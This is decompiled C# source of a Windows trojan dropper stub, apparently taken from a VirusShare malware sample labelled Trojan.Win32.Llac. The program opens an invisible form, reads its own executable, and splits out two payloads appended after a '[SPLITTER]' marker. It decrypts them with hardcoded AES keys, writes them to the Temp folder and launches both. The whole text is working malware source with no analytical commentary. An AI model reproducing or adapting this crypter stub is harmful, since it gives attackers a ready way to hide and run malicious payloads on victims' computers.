// Decompiled with JetBrains decompiler // Type: stub.Form1 // Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 3D682C4E-BB75-4F82-AFDC-65E8B4031409 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Llac.csye-7764f4aeaf305a644b70f22beaf51cde681b4e6fbc68c3e4bcfa2c979a7348ed.exe using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; using stub.My; using System; using System.ComponentModel; using System.Diagnostics; using System.Drawing; using System.IO; using System.Security.Cryptography; using System.Windows.Forms; namespace stub { [DesignerGenerated] public class Form1 : Form { private IContainer components; [DebuggerNonUserCode] public Form1() { this.Load += new EventHandler(this.Form1_Load); this.InitializeComponent(); } [DebuggerNonUserCode] protected override void Dispose(bool disposing) { try { if (!disposing || this.components == null) return; this.components.Dispose(); } finally { base.Dispose(disposing); } } [DebuggerStepThrough] private void InitializeComponent() { this.SuspendLayout(); this.AutoScaleDimensions = new SizeF(6f, 13f); this.AutoScaleMode = AutoScaleMode.Font; this.ClientSize = new Size(284, 262); this.Name = nameof (Form1); this.Opacity = 0.0; this.ShowInTaskbar = false; this.Text = nameof (Form1); this.ResumeLayout(false); } public byte[] unsecure(byte[] data) { using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) { rijndaelManaged.IV = new byte[16] { (byte) 1, (byte) 2, (byte) 3, (byte) 4, (byte) 5, (byte) 6, (byte) 7, (byte) 8, (byte) 9, (byte) 1, (byte) 2, (byte) 3, (byte) 4, (byte) 5, (byte) 6, (byte) 7 }; rijndaelManaged.Key = new byte[16] { (byte) 7, (byte) 6, (byte) 5, (byte) 4, (byte) 3, (byte) 2, (byte) 1, (byte) 9, (byte) 8, (byte) 7, (byte) 6, (byte) 5, (byte) 4, (byte) 3, (byte) 2, (byte) 1 }; return rijndaelManaged.CreateDecryptor().TransformFinalBlock(data, 0, data.Length); } } private void Form1_Load(object sender, EventArgs e) { try { string temp = MyProject.Computer.FileSystem.SpecialDirectories.Temp; string[] strArray = Strings.Split(File.ReadAllText(Application.ExecutablePath), "[SPLITTER]"); byte[] data1 = this.unsecure(Convert.FromBase64String(strArray[1])); byte[] data2 = this.unsecure(Convert.FromBase64String(strArray[3])); MyProject.Computer.FileSystem.WriteAllBytes(temp + "\\" + strArray[2], data1, false); MyProject.Computer.FileSystem.WriteAllBytes(temp + "\\" + strArray[4], data2, false); Process.Start(temp + "\\" + strArray[2]); Process.Start(temp + "\\" + strArray[4]); } catch (Exception ex) { ProjectData.SetProjectError(ex); ProjectData.EndApp(); ProjectData.ClearProjectError(); } ProjectData.EndApp(); } } }